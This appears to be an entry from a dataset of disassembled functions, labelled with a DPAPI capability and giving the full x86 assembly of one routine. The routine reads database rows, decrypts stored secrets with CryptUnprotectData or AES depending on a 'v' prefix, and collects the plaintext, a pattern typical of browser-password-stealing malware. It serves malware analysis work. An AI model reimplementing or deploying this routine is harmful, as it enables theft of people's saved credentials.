Function at 0x1000be30
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8840
call fcn.100969c0
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x48], 0
mov dword [ebp - 8], 0
xor edx, edx
mov word [ebp - 0x80], dx
mov dword [ebp - 0xc], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000c311
call fcn.1000a280
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x1000c30f
mov dword [ebp - 0x90], 0x100a8d6c
push 0x100a8dac
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x88]
push eax
push 0x100a8db4
push 0x7fff
lea ecx, [ebp - 0x8090]
push ecx
call fcn.1009687a
add esp, 0x10
lea edx, [ebp - 0x8c]
push edx
lea eax, [ebp - 0x8090]
push eax
call fcn.10092ef0
add esp, 8
test eax, eax
jne 0x1000c2e4
push 0
lea ecx, [ebp - 0x8094]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.10051c60
add esp, 0x14
test eax, eax
jne 0x1000c2b5
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002e520
add esp, 4
cmp eax, 0x64
jne 0x1000c2a4
push 0x100a8db8
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 0
mov edx, dword [ebp - 0x8094]
push edx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x809c], eax
mov eax, dword [ebp - 0x809c]
push eax
push 0x100a8dc0
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 1
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002fa00
add esp, 8
mov dword [ebp - 0x80a0], eax
mov edx, dword [ebp - 0x80a0]
push edx
push 0x100a8ddc
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
push 2
mov eax, dword [ebp - 0x8094]
push eax
call fcn.1002f960
add esp, 8
mov dword [ebp - 0x8098], eax
mov ecx, dword [ebp - 0x8098]
movsx edx, byte [ecx]
cmp edx, 0x76
je 0x1000c0d6
mov dword [ebp - 0x8498], 0x401
mov eax, dword [ebp - 0x8098]
mov dword [ebp - 0x8494], eax
lea ecx, [ebp - 0x84a0]
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x8498]
push edx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x1000c065
push 0x100a8dfc
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
jmp 0x1000c0d1
mov eax, dword [ebp - 0x849c]
add eax, dword [ebp - 0x84a0]
mov byte [eax], 0
push 0x3e8
lea ecx, [ebp - 0x8490]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x849c]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x8490]
push eax
push 0x100a8e1c
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x849c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000c29f
mov eax, dword [ebp - 0x8098]
movsx ecx, byte [eax]
cmp ecx, 0x76
jne 0x1000c29f
mov dword [ebp - 0x84a4], 0
mov dword [ebp - 0x84a8], 0
lea edx, [ebp - 0x84a8]
push edx
call fcn.1000b4b0
add esp, 4
mov dword [ebp - 0x84a4], eax
cmp dword [ebp - 0x84a4], 0
je 0x1000c29f
push 0x64
push 0
lea eax, [ebp - 0x8840]
push eax
call fcn.10096800
add esp, 0xc
push 0xc
mov ecx, dword [ebp - 0x8098]
add ecx, 3
push ecx
lea edx, [ebp - 0x8840]
push edx
call fcn.10096340
add esp, 0xc
push 0x64
push 0
lea eax, [ebp - 0x87d0]
push eax
call fcn.10096800
add esp, 0xc
push 2
mov ecx, dword [ebp - 0x8094]
push ecx
call fcn.1002f820
add esp, 8
mov dword [ebp - 0x8634], eax
cmp dword [ebp - 0x8634], 0
jne 0x1000c184
jmp 0x1000bf36
mov edx, dword [ebp - 0x8634]
sub edx, 0xf
mov dword [ebp - 0x8634], edx
mov eax, dword [ebp - 0x8634]
push eax
mov ecx, dword [ebp - 0x8098]
add ecx, 0xf
push ecx
lea edx, [ebp - 0x87d0]
push edx
call fcn.10096340
add esp, 0xc
mov eax, dword [ebp - 0x8634]
mov dword [ebp - 0x87d4], eax
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001000
add esp, 4
mov edx, dword [ebp - 0x84a8]
shl edx, 3
push edx
mov eax, dword [ebp - 0x84a4]
push eax
push 2
lea ecx, [ebp - 0x8630]
push ecx
call fcn.10001270
add esp, 0x10
test eax, eax
je 0x1000c1f9
jmp 0x1000bf36
push 0
push 0
push 0xc
lea edx, [ebp - 0x8840]
push edx
push 0
lea eax, [ebp - 0x8630]
push eax
call fcn.100018b0
add esp, 0x18
test eax, eax
je 0x1000c220
jmp 0x1000bf36
push 0x12c
push 0
lea ecx, [ebp - 0x8768]
push ecx
call fcn.10096800
add esp, 0xc
lea edx, [ebp - 0x8768]
push edx
lea eax, [ebp - 0x87d0]
push eax
mov ecx, dword [ebp - 0x87d4]
push ecx
lea edx, [ebp - 0x8630]
push edx
call fcn.10001ae0
add esp, 0x10
test eax, eax
je 0x1000c263
jmp 0x1000bf36
mov eax, dword [ebp - 0x87d4]
mov byte [ebp + eax - 0x8778], 0
lea ecx, [ebp - 0x8768]
push ecx
push 0x100a8e3c
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000bf36
mov eax, dword [ebp - 0x8094]
push eax
call fcn.10029dc0
add esp, 4
jmp 0x1000c2d3
push 0x100a8e60
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.10090ff0
add esp, 4
jmp 0x1000c302
push 0x100a8f08
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1000c317
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov dword [ebp - 0x84], edx
lea eax, [ebp - 0x44]
push eax
push 4
lea ecx, [ebp - 0x84]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, 4
jne 0x1000c3a2
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 4]
push edx
push 1
call fcn.10009a70
add esp, 0x1c
cmp eax, dword [ebp - 0x84]
jne 0x1000c399
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000c390
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1000c3c0
mov dword [ebp - 0x7c], 0xffffffff
jmp 0x1000c3a9
mov dword [ebp - 0x7c], 0xffffffff
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x80]
cmp eax, ecx
je 0x1000c3bd
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1009625b
mov esp, ebp
pop ebp
ret